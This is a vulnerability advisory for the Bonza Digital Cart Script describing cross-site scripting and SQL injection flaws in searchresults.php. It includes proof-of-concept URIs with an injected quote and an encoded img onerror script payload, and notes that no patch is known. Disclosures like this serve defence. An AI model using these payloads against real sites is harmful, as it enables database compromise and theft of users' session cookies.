Bonza Digital Cart Script Cross Site Scripting and SQL Injection Vulnerabilities
BID:49262
Info
Bonza Digital Cart Script Cross Site Scripting and SQL Injection Vulnerabilities
| Bugtraq ID: | 49262 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 22 2011 12:00AM |
| Updated: | Aug 22 2011 12:00AM |
| Credit: | Eyup CELIK |
| Vulnerable: |
Turnkey Central Bonza Digital Cart Script 0 |
| Not Vulnerable: | |
Discussion
Bonza Digital Cart Script Cross Site Scripting and SQL Injection Vulnerabilities
Bonza Digital Cart Script is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Bonza Digital Cart Script is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Bonza Digital Cart Script Cross Site Scripting and SQL Injection Vulnerabilities
An attacker can use a browser to exploit these issues. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/bonzacart/searchresults.php?ord1='1&ord2=asc&search1=&SearchTerm=&where=ItemName
http://www.example.com/bonzacart/searchresults.php?SearchTerm=%22%2F%3E%3C%2Fa%3E%3C%2F%3E%3Cimg+src%3D1.gif+onerror%3Dalert%281%29%3E&where=ItemName&ord1=ItemName&ord2=asc&search1.x=50&search1.y=14
An attacker can use a browser to exploit these issues. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/bonzacart/searchresults.php?ord1='1&ord2=asc&search1=&SearchTerm=&where=ItemName
http://www.example.com/bonzacart/searchresults.php?SearchTerm=%22%2F%3E%3C%2Fa%3E%3C%2F%3E%3Cimg+src%3D1.gif+onerror%3Dalert%281%29%3E&where=ItemName&ord1=ItemName&ord2=asc&search1.x=50&search1.y=14
Solution / Fix
Bonza Digital Cart Script Cross Site Scripting and SQL Injection Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Bonza Digital Cart Script Cross Site Scripting and SQL Injection Vulnerabilities
References:
References:
- Product Homepage (Turnkey Central)